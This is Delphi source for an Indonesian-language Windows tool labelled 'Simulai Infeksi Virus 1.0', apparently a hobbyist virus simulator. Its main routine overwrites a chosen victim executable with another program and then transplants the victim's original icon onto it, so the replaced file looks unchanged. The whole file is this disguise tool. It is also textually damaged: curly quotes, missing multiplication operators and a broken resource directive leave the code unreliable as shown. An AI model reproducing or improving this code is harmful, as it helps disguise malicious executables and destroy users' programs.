unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, Buttons,ShellAPI, ExtCtrls;
type
TfrmInfect = class(TForm)
GroupBox1: TGroupBox;
Label1: TLabel;
edTarget: TEdit;
SpeedButton1: TSpeedButton;
SpeedButton2: TSpeedButton;
edKorban: TEdit;
Label2: TLabel;
GroupBox2: TGroupBox;
SpeedButton3: TSpeedButton;
SpeedButton4: TSpeedButton;
procedure SpeedButton3Click(Sender: TObject);
procedure SpeedButton1Click(Sender: TObject);
procedure SpeedButton2Click(Sender: TObject);
procedure SpeedButton4Click(Sender: TObject);
private
function ChangeIconExe(FileName, IcoFileName: pchar): Boolean;
procedure SaveIcon(srcPath: string);
{ Private declarations }
public
{ Public declarations }
end;
var
frmInfect: TfrmInfect;
sPathIcon: string;
implementation
{$R .dfm}
procedure TfrmInfect.SaveIcon(srcPath: string);
var
MyIcon: TIcon;
img : TImage;
begin
MyIcon:=TIcon.Create;
img:=TImage.Create(Self);
MyIcon.Handle:=ExtractIcon(hInstance,PChar(srcpath),0);
sPathIcon := ExtractFilePath(Application.ExeName) + ‘\$$$.ico’;
img.Picture.Icon.Handle := MyIcon.Handle;
img.Picture.Icon.SaveToFile(sPathIcon);
end;
function TfrmInfect.ChangeIconExe(FileName, IcoFileName: pchar): Boolean;
procedure Error(const Msg: String);
begin
raise Exception.Create(’Pengubahan resource gagal: ‘ + Msg);
end;
procedure ErrorWithLastError(const Msg: String);
begin
Error(Msg + ‘(’ + IntToStr(GetLastError) + ‘)’);
end;
function EnumLangsFunc(hModule: Cardinal; lpType, lpName: PAnsiChar;
wLanguage: Word; lParam: Integer): Boolean; stdcall;
begin
PWord(lParam)^ := wLanguage;
Result := False;
end;
function GetResourceLanguage(hModule: Cardinal; lpType, lpName: PAnsiChar;
var wLanguage: Word): Boolean;
begin
wLanguage := 0;
EnumResourceLanguages(hModule, lpType, lpName, @EnumLangsFunc,
Integer(@wLanguage));
Result := True;
end;
type
PIcoItemHeader = ^TIcoItemHeader;
TIcoItemHeader = packed record
Width: Byte;
Height: Byte;
Colors: Byte;
Reserved: Byte;
Planes: Word;
BitCount: Word;
ImageSize: DWORD;
end;
PIcoItem = ^TIcoItem;
TIcoItem = packed record
Header: TIcoItemHeader;
Offset: DWORD;
end;
PIcoHeader = ^TIcoHeader;
TIcoHeader = packed record
Reserved: Word;
Typ: Word;
ItemCount: Word;
Items: array [0..MaxInt shr 4 - 1] of TIcoItem;
end;
PGroupIconDirItem = ^TGroupIconDirItem;
TGroupIconDirItem = packed record
Header: TIcoItemHeader;
Id: Word;
end;
PGroupIconDir = ^TGroupIconDir;
TGroupIconDir = packed record
Reserved: Word;
Typ: Word;
ItemCount: Word;
Items: array [0..MaxInt shr 4 - 1] of TGroupIconDirItem;
end;
function IsValidIcon(P: Pointer; Size: Cardinal): Boolean;
var
ItemCount: Cardinal;
begin
Result := False;
if Size < Cardinal(SizeOf(Word) 3) then
Exit;
if (PChar(P)[0] = ‘M’) and (PChar(P)[1] = ‘Z’) then
Exit;
ItemCount := PIcoHeader(P).ItemCount;
if Size < Cardinal((SizeOf(Word) 3) + (ItemCount SizeOf(TIcoItem)))
then
Exit;
P := @PIcoHeader(P).Items;
while ItemCount > Cardinal(0) do begin
if (Cardinal(PIcoItem(P).Offset + PIcoItem(P).Header.ImageSize) <
Cardinal(PIcoItem(P).Offset)) or
(Cardinal(PIcoItem(P).Offset + PIcoItem(P).Header.ImageSize) >
Cardinal(Size)) then
Exit;
Inc(PIcoItem(P));
Dec(ItemCount);
end;
Result := True;
end;
var
H: THandle;
M: HMODULE;
R: HRSRC;
Res: HGLOBAL;
GroupIconDir, NewGroupIconDir: PGroupIconDir;
I: Integer;
wLanguage: Word;
F: TFileStream;
Ico: PIcoHeader;
N: Cardinal;
NewGroupIconDirSize: LongInt;
begin
result := false;
if Win32Platform <> VER_PLATFORM_WIN32_NT then begin
Error(’Sistem Operasi Tidak Mendukung’);
Exit;
end;
Ico := nil;
try
{ Buka Iconnya dulu… }
F := TFileStream.Create(IcoFileName, fmOpenRead, fmShareDenyRead);
try
N := F.Size;// .tangkap ukurannya
if Cardinal(N) > Cardinal($100000) then begin
Error(’File Icon Terlalu Besar’);
Exit;
end;
GetMem(Ico, N);
F.ReadBuffer(Ico^, N);
finally
F.Free;
end;
{ Pastikan icon telah valid }
if not IsValidIcon(Ico, N) then begin
Error(’Icon file is invalid’);
Exit;
end;
{ Ubah Resourcenya }
H := BeginUpdateResource(PChar(FileName), False);
if H = 0 then begin
ErrorWithLastError(’Gagal Mengubah Resource’);
Exit;
end;
try
M := LoadLibraryEx(PChar(FileName), 0, LOAD_LIBRARY_AS_DATAFILE);
if M = 0 then begin
ErrorWithLastError(’Gagal Load Library-nya!!!’);
Exit;
end;
try
{ Buka resource Icon Utama }
R := FindResource(M, ‘MAINICON’, RT_GROUP_ICON);
if R = 0 then begin
ErrorWithLastError(’Gagal menemukan alamat resource ‘);
Exit;
end;
Res := LoadResource(M, R);
if Res = 0 then begin
ErrorWithLastError(’Gagal membuka resource ‘);
Exit;
end;
GroupIconDir := LockResource(Res);
if GroupIconDir = nil then begin
ErrorWithLastError(’Gagal membuka resource’);
Exit;
end;
if not GetResourceLanguage(M, RT_GROUP_ICON, ‘MAINICON’, wLanguage)
then begin
ErrorWithLastError(’Gagal mendapatkan detil resource’);
Exit;
end;
if not UpdateResource(H, RT_GROUP_ICON, ‘MAINICON’, wLanguage, nil,
0) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;
{ Hapus resource icon yang termasuk dalam Icon Utama }
for I := 0 to GroupIconDir.ItemCount-1 do begin
if not GetResourceLanguage(M, RT_ICON,
MakeIntResource(GroupIconDir.Items[I].Id), wLanguage) then begin
ErrorWithLastError(’Gagal mendapatkan “Resource Language”‘);
Exit;
end;
if not UpdateResource(H, RT_ICON,
MakeIntResource(GroupIconDir.Items[I].Id), wLanguage, nil, 0) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;
end;
{ Bentuk grup icon yang baru }
NewGroupIconDirSize :=
3SizeOf(Word)+Ico.ItemCount SizeOf(TGroupIconDirItem);
GetMem(NewGroupIconDir, NewGroupIconDirSize);
try
NewGroupIconDir.Reserved := GroupIconDir.Reserved;
NewGroupIconDir.Typ := GroupIconDir.Typ;
NewGroupIconDir.ItemCount := Ico.ItemCount;
for I := 0 to NewGroupIconDir.ItemCount-1 do begin
NewGroupIconDir.Items[I].Header := Ico.Items[I].Header;
NewGroupIconDir.Items[I].Id := I+1;
end;
{ Ubah Icon Utama }
for I := 0 to NewGroupIconDir.ItemCount-1 do
if not UpdateResource(H, RT_ICON,
MakeIntResource(NewGroupIconDir.Items[I].Id), 1033, Pointer(DWORD(Ico) +
Ico.Items[I].Offset), Ico.Items[I].Header.ImageSize) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;
if not UpdateResource(H, RT_GROUP_ICON, ‘MAINICON’, 1033,
NewGroupIconDir, NewGroupIconDirSize) then begin
ErrorWithLastError(’Pengubahan resource gagal’);
Exit;
end;
finally
FreeMem(NewGroupIconDir);
end;
finally
FreeLibrary(M);
end;
except
EndUpdateResource(H, True);
raise;
end;
if not EndUpdateResource(H, False) then begin
Error(’[] Step Terakhir Pengubahan Resource Gagal’);
Exit;
end;
finally
FreeMem(Ico);
end;
result := true;
end;
procedure TfrmInfect.SpeedButton3Click(Sender: TObject);
begin
Application.MessageBox(’Simulai Infeksi Virus 1.0 - OpenSource’ +#13+
‘============================’ +#13+
‘Created by Tigor Mangatur Manurung A.k.A n3o_cybertech’,'Informasi’,MB_OK or MB_ICONINFORMATION);
end;
procedure TfrmInfect.SpeedButton1Click(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=TOpenDialog.Create(Self);
try
dlg.Filter := ‘File EXE | .exe’;
dlg.Title := ‘Cari Target…’;
if dlg.Execute then
edTarget.Text := dlg.FileName;
finally
dlg.Free;
end;
end;
procedure TfrmInfect.SpeedButton2Click(Sender: TObject);
var
dlg: TOpenDialog;
begin
dlg:=TOpenDialog.Create(Self);
try
dlg.Filter := ‘File EXE | .exe’;
dlg.Title := ‘Cari Korban…’;
if dlg.Execute then
edKorban.Text := dlg.FileName;
finally
dlg.Free;
end;
end;
procedure TfrmInfect.SpeedButton4Click(Sender: TObject);
var target,korban: string;
begin
if (
(Trim(edTarget.Text) = ”) or
(Trim(edKorban.Text) = ”)
) then exit;
if not(
(FileExists(edTarget.Text)) or
(FileExists(edKorban.Text))
) then exit;
//ekstrak ikonnya dan simpen ke file
target := edTarget.Text;
korban := edKorban.Text;
SaveIcon(korban);
CopyFile(PChar(Target),PChar(Korban),False);
sleep(50);
ChangeIconExe(PChar(korban),PChar(sPathIcon));
DeleteFile(ExtractFilePath(Application.ExeName) + ‘\$$$.ico’);
end;
end.
|
